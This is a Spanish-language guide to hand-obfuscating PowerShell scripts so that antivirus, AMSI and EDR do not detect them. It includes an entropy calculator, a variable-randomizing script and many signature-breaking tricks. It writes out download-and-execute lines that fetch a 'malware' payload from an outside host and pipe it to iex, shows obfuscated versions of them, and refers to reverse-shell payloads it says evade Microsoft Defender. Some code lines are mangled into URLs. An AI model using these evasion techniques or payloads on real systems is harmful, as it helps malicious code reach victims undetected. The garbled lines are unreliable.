
A collection of techniques, examples and a little bit of theory for manually obfuscating PowerShell scripts to achieve AV evasion, compiled for educational purposes. The contents of this repository are the result of personal research, including reading materials online and conducting trial-and-error attempts in labs and pentests.
Una colección de técnicas, ejemplos y un poco de teoría para ofuscar manualmente scripts de PowerShell y evadir la detección basada en firmas, recopilada con fines educativos. El contenido de este repositorio es el resultado de una investigación personal, que incluye lectura de materiales en línea y la realización de intentos de prueba y error en laboratorios y pruebas de penetración. No deberías dar nada por sentado.
Presentación en vídeo de YouTube: youtube.com/watch?v=tGFdmAh_lXE
⚠️ Aviso legal: El uso de las técnicas y conceptos descritos en este repositorio para obtener acceso no autorizado a sistemas que no tienes permiso de probar es ilegal. Eres responsable de tus acciones. No seas malvado.
El término científico entropy, que generalmente se define como la medida de aleatoriedad o desorden de un sistema, es importante en la evasión de antivirus. Esto se debe a que el malware a menudo contiene código altamente aleatorizado, cifrado y/o codificado (ofuscado) para dificultar su análisis y, por tanto, su detección. Como uno de los diversos métodos, los productos antivirus utilizan el análisis de entropía para identificar archivos y payloads potencialmente maliciosos.
Es importante entender este concepto porque, al ofuscar código, debes tener en cuenta la variación de entropía que generan los cambios que decidas hacer. Romper firmas es fácil, pero si no prestas atención al nivel de entropía, los AV/EDR sofisticados lo verán.
Un principio a tener en cuenta: Cuanto mayor sea la entropía, más probable es que los datos estén ofuscados o cifrados, y más probable es que el archivo/payload sea malicioso. Afortunadamente, hay formas de reducirla.
Claude E. Shannon introdujo una fórmula en su artículo de 1948 A Mathematical Theory of Communication que puede utilizarse para medir la entropía de un conjunto de datos. Aquí tienes una implementación sencilla en Python de la Shannon Entropy que puedes usar para medir la entropía de los payloads que desarrolles:
#!/bin/python3
# Usage: python3 entropy.py <file>
import math, sys
def entropy(string):
"Calculates the Shannon entropy of a UTF-8 encoded string"
# decode the string as UTF-8
unicode_string = string.decode('utf-8')
# get probability of chars in string
prob = [ float(unicode_string.count(c)) / len(unicode_string) for c in dict.fromkeys(list(unicode_string)) ]
# calculate the entropy
entropy = - sum([ p * math.log(p) / math.log(2.0) for p in prob ])
return entropy
f = open(sys.argv[1], 'rb')
content = f.read()
f.close()
print(entropy(content))
También puedes usar esta calculadora de entropía de Shannon en línea o el Sigcheck.exe de Microsoft con la opción -a.
Lo maduro y elegante antes de lanzarse a pruebas de ofuscación por ensayo y error para conseguir una variación de payload que no sea marcada, es identificar la(s) parte(s) de un script que desencadenan la detección de malware. Especialmente en scripts cortos como los comandos C2, puede que consigas hacer cambios insignificantes y pasar desapercibido al instante.
Una gran herramienta para identificar estos desencadenantes es AMSITrigger. Aquí tienes un ejemplo de uso con un archivo que contiene un script malicioso. La zona roja señala la parte sobre la que debería aplicarse la ofuscación:

También puedes identificar los desencadenantes manualmente ejecutando un script trozo a trozo.
Al ofuscar scripts, debería ser una prioridad sustituir los nombres de variables/clases/funciones por otros aleatorios. De ese modo, en combinación con otras técnicas, podrás evadir la detección fácilmente. Pero debes tener en cuenta la entropía de los payloads que desarrolles. Ten en cuenta el siguiente script estándar de reverse shell que generalmente detectan la mayoría, por no decir todos, los AV:

Ahora considera la siguiente versión ofuscada:

En esta versión, todos los nombres de variables se han sustituido por nombres aleatorios de 32 caracteres. También he reemplazado (pwd).Path por $(gl). El payload tiene una Shannon entropy de 4.96. Al momento de escribir esto, no es detectado por MS Defender y un montón de otros productos:

Ahora considera esta versión:

Esta variación también tiene todos los nombres de variables reemplazados, pero esta vez con nombres formados por una cantidad x de caracteres 'f', lo que provoca una caída significativa de la entropía del payload. Aquí también he reemplazado (pwd).Path por $(gl). De nuevo, al momento de escribir esto, no es detectado por MS Defender. El payload tiene una Shannon entropy de 0.76.

⚡ Ambas variaciones evaden los AV comunes, pero la segunda tiene una entropía más baja y probablemente tendrá más posibilidades cuando la procesen EDR y otros motores antimalware sofisticados. ⚠️ No estoy diciendo que el mejor rendimiento de la segunda variación de payload en este ejemplo se deba ciertamente al nivel de entropía (no puedo saberlo realmente, podría haber sido la longitud, o ambas, o quién sabe qué), pero es un aspecto importante a tener en cuenta al ofuscar cosas, y este ejemplo pretende subrayar ese concepto.
Puedes usar el siguiente script para aleatorizar los nombres de las variables en un script de PowerShell. ⚠️ ¡El script no es perfecto! Si lo ejecutas sobre scripts de PowerShell grandes y complejos, podría romper su funcionalidad al reemplazar cosas que no debería. Úsalo con precaución y ten cuidado.
#!/bin/python3
#
# This script is an example. It is not perfect and you should use it with caution.
# Source: https://github.com/t3l3machus/PowerShell-Obfuscation-Bible
# Usage: python3 randomize-variables.py <path/to/powershell/script>
import re
from sys import argv
from uuid import uuid4
def get_file_content(path):
f = open(path, 'r')
content = f.read()
f.close()
return content
def main():
payload = get_file_content(argv[1])
used_var_names = []
# Identify variables definitions in script
variable_definitions = re.findall('\$[a-zA-Z0-9_]*[\ ]{0,}=', payload)
variable_definitions.sort(key=len)
variable_definitions.reverse()
# Replace variable names
for var in variable_definitions:
var = var.strip("\n \r\t=")
while True:
new_var_name = uuid4().hex
if (new_var_name in used_var_names) or (re.search(new_var_name, payload)):
continue
else:
used_var_names.append(new_var_name)
break
payload = payload.replace(var, f'${new_var_name}')
print(payload + '\n')
main()
Es súper divertido y fácil reemplazar los valores $True y $False por otros equivalentes booleanos, que son literalmente ilimitados. Especialmente si has identificado el desencadenante de detección en un payload determinado y este incluye un valor $True o $False, probablemente puedas evadir la detección simplemente reemplazándolo por un sustituto booleano. Todos los ejemplos siguientes evalúan a True. Puedes invertirlos a False simplemente añadiendo un signo de exclamación delante de la expresión (por ejemplo, ![bool]0x01):
0, Null o una cadena vacía, devolverá True:[bool]1254
[bool]0x12AE
[bool][convert]::ToInt32("111011", 2) # Converts a string to int from base 2 (binary)
![bool]$null
![bool]$False
[bool]"Any non empty string"
[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/-12354893) # Boolean typecast of a negative number
[bool](12 + (3 * 6))
[bool](Get-ChildItem -Path Env: | Where-Object {$_.Name -eq "username"})
[bool]@(0x01BE)
[bool][System.Collections.ArrayList]
[bool][System.Collections.CaseInsensitiveComparer]
[bool][System.Collections.Hashtable]
# Well, you get the point.
True:[bool][bool]
[bool][char]
[bool][int]
[bool][string]
[bool][double]
[bool][short]
[bool][decimal]
[bool][byte]
[bool][timespan]
[bool][datetime]
True (obvio):(9999 -eq 9999)
([math]::Round([math]::PI) -eq (4583 - 4580))
[Math]::E -ne [Math]::PI
True de los atributos de un objeto:$x = [System.Data.AcceptRejectRule].Assembly.GlobalAssemblyCache
$x = [System.TimeZoneInfo+AdjustmentRule].IsAnsiClass
$x = [mailaddress].IsAutoLayout
$x = [ValidateCount].IsVisible
True o False:[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/!%5Bbool%5D$null)
[System.Collections.CaseInsensitiveComparer] -ne [bool][datetime]'2023-01-01'
[bool]$(Get-LocalGroupMember Administrators)
!!!![bool][bool][bool][bool][bool][bool]
Puedes ofuscar cmdlets añadiendo comillas simples y/o dobles entre sus caracteres, siempre que no sea al principio. ¡Es súper efectivo! Por ejemplo, la expresión iex "pwd" puede sustituirse por:
i''ex "pwd"
i''e''x "pwd"
i''e''x'' "pwd"
ie''x'' "pwd"
iex'' "pwd"
i""e''x"" "pwd"
ie""x'' "pwd"
# and so on... but also:
i''ex "p''wd"
i''e''x "p''w''d"
i''e''x'' "p''w''d''"
ie''x'' "pw''d`"`""
iex'' "p`"`"w`"`"d`"`""
i""e''x"" "p`"`"w`"`"d''"
ie""x'' "p`"`"w''d`"`""
# You get the point.
Esto es un poco sucio, pero puede resultar útil. En un terminal CMD de Windows, es posible añadir el símbolo de intercalación (^) entre los caracteres de un comando y este seguirá interpretándose con normalidad. En un script de PowerShell, una forma de aprovecharlo sería:
cmd /c "who^am^i"

Un truco realmente genial que me enseñó mi amigo y poderoso haxor Karol Musolff (@kmusolff). Puedes usar Get-Command (o gcm) para recuperar el nombre (cadena) de cualquier comando, incluidos todos los archivos que no son de PowerShell en la variable de entorno Path ($env:Path), usando comodines. Luego puedes ejecutarlos como trabajos con el operador &. Por ejemplo, la siguiente línea:
Invoke-RestMethod -uri https://192.168.0.66/malware | iex
Podría ofuscarse a:
&(Get-Command i????e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
O incluso mejor, esta, que tiene un valor de Shannon entropy más bajo:
&(Get-Command i************************************************************e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
Hay ciertos bucles que pueden sustituirse por otros tipos de bucles o funciones. Por ejemplo, un bucle While ($True){ # some code } puede sustituirse por lo siguiente:
Un bucle For infinito
For (;;) { # some code }
Un bucle Do-While
Do { # some code } While ($true)
Un bucle Do-Until
Do { # some code } Until (1 -eq 2)
Una función recursiva
function runToInfinity {
# do something;
runToInfinity;
}
Puedes intentar añadir parámetros a un cmdlet. Por ejemplo, la siguiente línea:
iex "whoami"
Podría ampliarse a:
iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire "whoami"
Por supuesto, también puedes intentar lo contrario.
Puedes "contaminar" un script con variables y funciones aleatorias. Supón que el siguiente script es malicioso:
$b64 = $(irm -uri http://192.168.0.66/malware);
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));
iex $virus;
Podrías romper su firma haciendo algo como:
$b64 = $(irm -uri http://192.168.0.66/malware); sleep 0.01;sleep 0.01;Get-Process | Out-Null;
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));sleep 0.01;sleep 0.01;Measure-Object | Out-Null;
iex $virus;
Siempre puedes buscar comandos o incluso bloques de código completos en un script que puedan sustituirse por componentes con la misma funcionalidad o similar. En el siguiente script clásico de reverse shell, el comando pwd se utiliza para obtener el directorio de trabajo actual y reconstruir el valor del prompt del shell:

La parte (pwd).Path puede reemplazarse por el siguiente pequeño script extraño y poco ortodoxo y, aunque incluso incluye pwd, sirve para nuestro propósito de romper la firma manteniendo la funcionalidad del script:
"$($p = (Split-Path `"$(pwd)\\0x00\`");if ($p.trim() -eq ''){echo 'C:\'}else{echo $p})"
Por supuesto, existen sustitutos más sencillos para pwd, como gl, get-location y cmd.exe /c chdir, que podrían funcionar, especialmente en combinación con otras técnicas.
No hay límite para lo que se puede hacer con las cadenas. A continuación encontrarás algunos conceptos interesantes. Los ejemplos usan la cadena 'malware':
A costa de añadir unas cuantas líneas nuevas, puedes convertir una cadena en una here-string.
Esto:
$x = 'echo malware';
iex $x;
Es lo mismo que:
$x = 'echo malware';
iex @"
$x
"@
$x="Your string reversed".ToCharArray(); [array]::reverse($x); $x -join ""
Bastante sencillo y clásico:
'mal' + 'w' + 'ar' + 'e'
Añade el valor deseado entre una cadena irrelevante y usa substring() para extraerlo según los índices de inicio y fin:
'xxxmalwarexxx'.Substring(3,7)
Crea una cadena basura y reemplázala por el valor deseado mediante coincidencia regex:
'a123' -replace '[a-zA-Z]{1}[\d]{1,3}','malware'
Codifica tu cadena y decodifícala dentro del script:
[System.Text.Encoding]:https://raw.githubusercontent.com/t3l3machus/powershell-obfuscation-bible/HEAD/:Default.GetString(%5BSystem.Convert%5D::FromBase64String(%22bWFsd2FyZQ==%22))
"$([char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x6d)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x6c)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x77)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x72)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x65))"
Esto es solo para empezar. Continuará...
Ofuscar un script añadiendo comentarios aquí y allá puede funcionar por sí solo.
Por ejemplo, un comando de reverse shell podría ofuscarse así:

<# Suspendisse imperdiet lacus eu tellus pellentesque suscipit #> en varios lugares)
Esto no solo funcionará, sino que además reducirá el valor de Shannon entropy del payload (siempre que no uses comentarios aleatorios complejos).
Hay cadenas tipo malware que activan AMSI de inmediato y debería ser una prioridad reemplazarlas al ofuscar scripts. Mira esto:

Con solo escribir la cadena 'invoke-mimikatz' en el terminal, a AMSI le da un ataque (el script ni siquiera está presente/cargado). Estas cadenas también pueden encontrarse en comentarios, por lo que es buena idea eliminarlas, especialmente de los recursos FOS que obtengas de internet (por ejemplo, Invoke-Mimikatz.ps1 de GitHub).
*En general, es una buena idea eliminar los comentarios. Esto era solo un ejemplo.
Probablemente el truco más viejo del libro. Aleatorizar entre mayúsculas y minúsculas los cmdlets y parámetros podría ayudar:
inVOkE-eXpReSSioN -vErbOse "WHoAmI /aLL" -dEBug
A veces, simplemente mover variables y clases a diferentes ubicaciones puede funcionar, especialmente si has encontrado el desencadenante de detección y este incluye alguna definición de variable que podría estar ocurriendo en otro lugar, como al principio del script.
A veces es posible lograr la evasión de AV simplemente ejecutando un script malicioso línea por línea. Por supuesto, esto puede ser difícil de llevar a cabo según las circunstancias. Si lo intentas, ten en cuenta los bloques de script que deben ejecutarse como un todo (por ejemplo, bucles, bloques try-catch, sentencias condicionales, definiciones de funciones, etc.). Para probarlo, puedes tomar un script común de reverse shell de PowerShell (sin ofuscación aplicada) y ejecutarlo línea por línea. ¿Lo detectan? ;)